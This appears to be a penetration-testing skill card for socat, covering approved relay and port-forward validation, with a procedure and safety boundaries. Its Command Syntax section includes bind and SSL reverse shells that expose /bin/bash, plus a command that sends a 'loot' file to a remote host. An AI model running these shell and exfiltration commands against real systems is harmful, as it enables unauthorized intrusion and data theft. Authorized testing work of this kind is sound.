Socat

Socat

Purpose

Use this skill only when the rules of engagement explicitly permit relay or forwarding validation across named approved paths.

Phase Fit

• Primary: Validation and Controlled Impact Demonstration
• Secondary: Retest and Closure

Use When

• Need to validate a relay or port-forward path.
• Need protocol or socket bridging in a controlled environment.
• Need a repeatable retest after segmentation or service hardening.

Avoid When

• Relay or forwarding behavior is not explicitly approved.
• Source or destination boundaries are unclear.

Inputs

• Approved source and destination hosts and ports
• Exact bridge direction and lifetime
• Logging and stop conditions

Procedure

1. Limit the bridge to the minimum approved scope.
2. Validate only the specific path question.
3. Record the exact relay parameters used.
4. Stop and tear down the relay immediately after validation.
5. Preserve the same path details for retest.

Command Syntax

Replace sample hosts and ports with approved in-scope values.

# TCP port forward
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

# Forward HTTPS
socat TCP-LISTEN:8443,fork TCP:192.168.1.100:443

# Bind shell listener
socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Connect to a socat shell
socat TCP:10.10.10.100:4444 -

# File transfer: send
socat -u FILE:/tmp/loot.txt TCP:10.10.10.1:4444

# File transfer: receive
socat -u TCP-LISTEN:4444,reuseaddr OPEN:/tmp/received.txt,creat

# SSL-encrypted shell listener
socat SSL-LISTEN:4444,cert=shell.pem,verify=0 EXEC:/bin/bash,pty,stderr,setsid
socat SSL:10.10.10.1:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid

Evidence to Capture

• Whether the approved relay path worked
• Exact source, destination, and socket parameters used
• Minimal proof needed for remediation

Safety Boundaries

• Use only with explicit written approval.
• Keep relays short-lived, narrow, and fully documented.